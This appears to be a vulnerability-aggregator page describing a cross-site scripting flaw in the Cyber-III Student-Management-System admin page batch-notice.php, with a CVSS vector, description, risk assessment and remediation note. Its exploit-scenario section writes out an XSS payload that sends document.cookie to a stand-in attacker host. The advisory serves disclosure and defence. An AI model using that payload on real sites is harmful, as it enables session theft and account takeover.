EUVD-2026-19217
GHSA-7h2q-r7w3-qfpr
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
A security flaw has been discovered in Cyber-III Student-Management-System up to 1a938fa61e9f735078e9b291d2e6215b4942af3f. Affected is an unknown function of the file /admin/Add%20notice/batch-notice.php. Performing a manipulation of the argument $_SERVER['PHP_SELF'] results in cross site scripting. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
AnalysisAI
Stored cross-site scripting (XSS) in Cyber-III Student-Management-System via manipulation of the $_SERVER['PHP_SELF'] variable in the batch-notice.php admin file allows authenticated attackers with high privileges to inject malicious scripts. The vulnerability affects all versions up to commit 1a938fa61e9f735078e9b291d2e6215b4942af3f, exploitable remotely with user interaction, and publicly available exploit code exists. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Vulnerability AssessmentAI
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:P) indicates network-accessible vulnerability with low attack complexity but requiring high privilege (administrator) authentication and user interaction (UI:P), limiting exploitability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with administrative credentials (or who has compromised an admin account) crafts a malicious URL containing JavaScript payload in the PHP_SELF parameter and tricks another administrator into clicking the link, for example: `/admin/Add%20notice/batch-notice.php?param=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>`. When the target admin visits the page, the unescaped PHP_SELF value is injected into the HTML, executing the attacker's script in the admin's browser context, potentially exfiltrating session cookies or performing admin actions on behalf of the victim. … |
| Remediation | Immediate remediation requires updating Cyber-III Student-Management-System to a patched commit after 1a938fa61e9f735078e9b291d2e6215b4942af3f; consult the project's GitHub repository (https://github.com/Cyber-III/Student-Management-System/) for the latest commit or pull any recent changes to obtain the fix. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Authentication bypass in Discuz! X5.0 releases 20260320 through 20260501 allows unauthenticated remote attackers to acce
Authenticated remote code execution in Discuz! X5.0 releases 20260320 through 20260501 allows administrators to chain a
Unauthenticated PHP Object Injection in the Happyforms WordPress plugin (versions <= 1.26.13) allows remote attackers to
Unauthenticated PHP Object Injection in the Broadcast Live Video WordPress plugin (versions prior to 7.1.3) allows remot
Unauthenticated PHP object injection in the WordPress plugin 'Integration for Keap/Infusionsoft and Contact Form 7, WPFo
Share
External POC / Exploit Code
Leaving vuln.today